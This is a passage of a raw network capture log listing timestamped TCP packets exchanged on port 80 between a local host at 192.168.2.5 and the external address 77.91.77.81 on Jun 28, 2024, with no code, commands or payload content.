Jun 28, 2024 13:36:25.167247057 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.167257071 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.167257071 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.167262077 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.167263985 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.167275906 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.167283058 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.167289972 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.167309046 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.167309046 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.167310953 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.167325974 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.167337894 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.167340994 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.167351961 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.167356968 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.167362928 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.167459011 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.167460918 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.167474031 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.167488098 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.167489052 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.167503119 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.167516947 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.167521000 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.167535067 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.167696953 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.167975903 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.167990923 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168071032 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168149948 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168164968 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168178082 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168191910 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168207884 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168209076 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168222904 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168236971 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168246031 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168246031 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168251038 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168258905 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168265104 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168282986 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168292046 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168297052 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168304920 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168304920 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168312073 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168327093 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168329954 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168329954 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168340921 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168355942 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168360949 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168370008 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168385029 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168390989 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168390989 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168400049 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168402910 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168430090 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168441057 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168441057 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168443918 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168458939 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168478966 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168498993 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168513060 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168514013 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168526888 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168540955 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168544054 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168555975 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168565035 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168581963 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168596983 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168610096 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168622971 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168623924 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168631077 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168631077 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168637991 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168653011 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168663979 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168663979 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168665886 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168685913 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168685913 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168781042 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.168951988 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168967009 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168981075 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.168993950 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169006109 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169013023 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169023991 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169023991 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169028044 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169043064 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169055939 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169055939 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169055939 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169070959 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169080019 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169080019 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169085026 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169104099 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169104099 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169107914 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169121981 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169130087 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169137001 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169152975 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169162989 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169162989 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169167042 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169177055 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169181108 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169193983 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169208050 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169209003 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169219971 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169223070 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169238091 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169254065 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169258118 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169258118 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169267893 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169281006 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169286013 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169286013 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169296026 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169317961 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169322014 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169322014 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169332027 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169346094 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169361115 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169362068 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169362068 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169373989 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169388056 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169403076 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169424057 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169424057 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169424057 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169440031 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169454098 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169454098 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169469118 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169476986 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169483900 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169498920 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169513941 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169519901 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169523001 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169548035 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169548988 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169564009 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169578075 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169579029 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169590950 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169594049 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169610977 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169625998 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169629097 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169629097 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169640064 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169655085 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169667959 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169667959 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169670105 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169694901 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169694901 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169696093 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169715881 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169727087 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169729948 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169744968 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169745922 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169759989 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169769049 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169775009 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169776917 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169776917 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169789076 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169810057 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169812918 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169812918 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169831991 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169832945 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169846058 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169859886 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169877052 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169884920 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169884920 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169891119 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169905901 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169920921 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169930935 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169930935 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169934988 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169949055 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169964075 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169967890 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169967890 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169979095 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.169989109 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.169994116 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170007944 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170017958 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170018911 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170022964 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170037985 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170047998 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170047998 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170052052 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170067072 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170075893 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170082092 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170097113 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170099974 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170110941 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170115948 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170115948 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170126915 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170140982 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170154095 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170154095 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170155048 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170169115 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170176983 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170176983 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170182943 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170197964 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170203924 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170203924 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170212984 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170227051 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170231104 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170231104 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170242071 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170258045 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170270920 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170272112 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170285940 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170286894 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170296907 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170296907 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170300961 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170315981 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170325041 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170325041 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170330048 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170345068 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170350075 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170350075 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170358896 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170373917 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170378923 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170378923 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170388937 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.170408010 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170408010 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.170614958 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.174710035 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.174751043 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.174766064 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.174788952 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.174835920 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.174849987 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.174864054 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.174864054 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.174877882 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.174899101 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.174899101 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.174982071 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.174997091 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.175012112 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.175035000 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.175035000 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.175113916 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.175137043 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.175152063 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.175165892 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.175180912 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.175194979 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.175196886 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.175206900 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.175210953 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.175225973 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.175237894 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.175240993 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.175249100 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.175268888 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.175287008 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.175299883 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.175309896 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.175313950 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.175329924 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.175335884 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.175335884 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.175343990 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.175353050 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.175391912 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.175405979 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.175409079 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.175409079 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.175420046 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.175453901 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.175615072 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.175860882 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.175916910 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.175931931 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.175956964 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.175956964 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176007986 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176021099 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176023960 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176048994 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176063061 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176074982 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176074982 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176076889 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176091909 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176100016 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176135063 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176135063 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176161051 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176175117 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176188946 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176204920 CEST	80	49721	77.91.77.81	192.168.2.5
